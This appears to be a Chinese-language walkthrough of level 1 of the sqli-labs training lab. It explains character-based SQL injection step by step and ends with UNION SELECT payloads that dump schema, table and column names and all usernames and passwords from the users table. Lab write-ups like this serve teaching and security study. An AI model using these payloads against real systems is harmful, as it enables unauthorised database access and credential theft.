sqlilab第一关
1.判断注入方式为字符型
输入正常id=1
注入引号
可以推断查询语句为select * from users where id=1 limit 0,1; (ps:users表只是举例)
打开第一关的php源码查看结果
打开数据库命令行查询结果
2.查询库名
<1>判断表有几列
当输入order by 3时未报错,而order by 4报错,说明表有三列
<2>判断回显的位置
为了union后的语句可生效,需将之前的报错,改为-1
select 1,2,3 --+ ,数字可以为任意,--+注释掉查询语句后的单引号,使其闭合
<3>显示库名
此处选择在第二列显示库名: ?id=-1' union select 1,(select group_concat(schema_name) from+information_schema.schemata),3 --+
小注:group_concat函数的作用
该表只有一个字段,故group_concat将相同字段在同一行显示
3.查询security表名
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
4.查询User表中的字段名
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
5.查询所有username,password的内容
id=-1' union select 1,(select group_concat(username) from security.users),3 --+
id=-1' union select 1,(select group_concat(password) from security.users),3 --+
参考链接: